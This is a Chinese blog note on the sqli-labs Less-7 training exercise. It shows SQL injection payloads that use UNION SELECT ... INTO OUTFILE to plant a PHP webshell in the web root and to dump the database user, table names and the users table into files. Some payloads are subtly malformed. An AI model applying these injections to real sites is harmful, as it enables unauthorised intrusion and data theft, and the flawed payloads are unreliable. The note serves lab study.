note-04

less7

需要先设置mysql的文件读写权限:

Windows的配置文件在mysql下的my.ini
Linux的配置文件在/etc/conf

怎么找也找不到,最后问了卡密,在/etc/mysql中找到了;
但是还是没法写马;
docker环境现在还没搞懂,以后有机会再在其它环境下再部署sql-labs试试;

看网上的解法写点笔记:

先判断注入类型,没有sql错误回显的情况就不断猜测闭合语句,能正确闭合不报错就表示闭合成功

因为用 ‘ 打破’’闭合但是没用猜对全部闭合的话会一直提示sql语法错误,能完成闭合并且并且不报错就为完全猜对。

1
?id=1')) --+

然后用联合查询
select搭配into outfile能写入数据
大概是select能查询数据,into outfile能写入数据
union select 1,user(),database() into outfile “路径”
能写入:
1,当前用户,数据库名称

url 中反斜杠\会被当作转义字符处理所以要用两个反斜杠来传入

写马

?id=1’)) union select 1,2,’‘ into outfile “C:\phpStudy\WWW\sqli\Less-7\test.php” – #

这里的路径不是我的环境
现在才知道原来$_GET和POST必须大写…..
最后连马就行

另一种解法,用写文件的权限在服务的less7题目目录写txt访问爆库结果

在sql中能用‘@@datadir’ 返回数据库的绝对路径,随后猜测网站的绝对路径

将查询到的当前用户和数据库名称写入到题目目录下的1.txt随后访问就能看到查询结果

1
?id=-1')) union select 1,user(),database(), into outfile "题目目录\\1.txt" --+

然后就是标准操作

1
?id=-1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' into outfile "题目目录\\2.txt" --+

我想,因为不用担心回显界面问题所以也可以不用group_concat,union等,前面两个的查询也是一样

1
?id=-1')) select table_name from information_schema.tables where table_schema='security' into outfile "题目目录\\3.txt" --+

爆字段

1
?id=-1')) select column_name from information_schema.columns where table_name='users' into outfile "题目目录\\4.txt" --+

其实我看没有了回显页面的限制,不用爆字段也行,直接爆表就得:

1
?id=-1')) select * from users into outfile "题目目录\\5.txt" --+ 

这里写入文件的时候,需要注意的是利用数据库file权限向操作系统写入文件时,对于相同文件名的文件不能覆盖,所以如果第一次上传1.txt,下次再上传1.txt,就是无效命令了,也就是新的1.txt中的内容并不会覆盖之前的1.txt

https://blog.csdn.net/m0_46315342/article/details/106557552


note-04
https://aidemofashi.github.io/2025/03/02/note-04/
作者
aidemofashi
发布于
2025年3月2日
许可协议